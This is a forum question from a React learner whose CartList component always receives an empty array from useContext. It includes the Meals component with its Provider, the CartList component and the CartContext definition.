Why my data is not updating when i use useContext

this some react components from my code
i want to pass an array called orderedMeals from the Meals component to the CartList component

Meals component

return (
    <CartContext.Provider value={{ array: orderedMeals }}>
      <ul>
        {DUMMY_MEALS.map((meal) => (
          <Meal
            key={meal.id}
            title={meal.name}
            description={meal.description}
            price={meal.price}
            id={meal.id}
            addToOrderedMeals={addToOrderedMeals}
          />
        ))}
      </ul>
    </CartContext.Provider>
  );

CartList component

import React, { useContext } from "react";
import classes from "./CartList.module.css";
import CartContext from "../Context/Context";

const CartList = (props) => {
  const { array } = useContext(CartContext); 

  console.log("Array from context:", array);
  return (
    <>
      <div className={classes.backdrop} />
      <div className={classes.modal}>
        <div className={classes.meals}>
          {array.map((element) => {
            console.log(element);
            return <div key={element.id}>{element.title}</div>;
          })}
        </div>
        <div className={classes.amount}>
          <h3>Amount</h3>
          <h3>$22</h3>
        </div>
        <span className={classes.actions}>
          <button className={classes.button}>Confirm</button>
          <button onClick={props.onClick} className={classes.button}>
            Return
          </button>
        </span>
      </div>
    </>
  );
};

export default CartList;

and this is the CartContext component

import { createContext } from "react";

const CartContext = createContext({
  array: [],
  amount: 4,
});
console.log(CartContext);

export default CartContext;

i am trying to pass some data from a component to another using useContext, but the data that i recive doesn’t update, i always receive an empty array.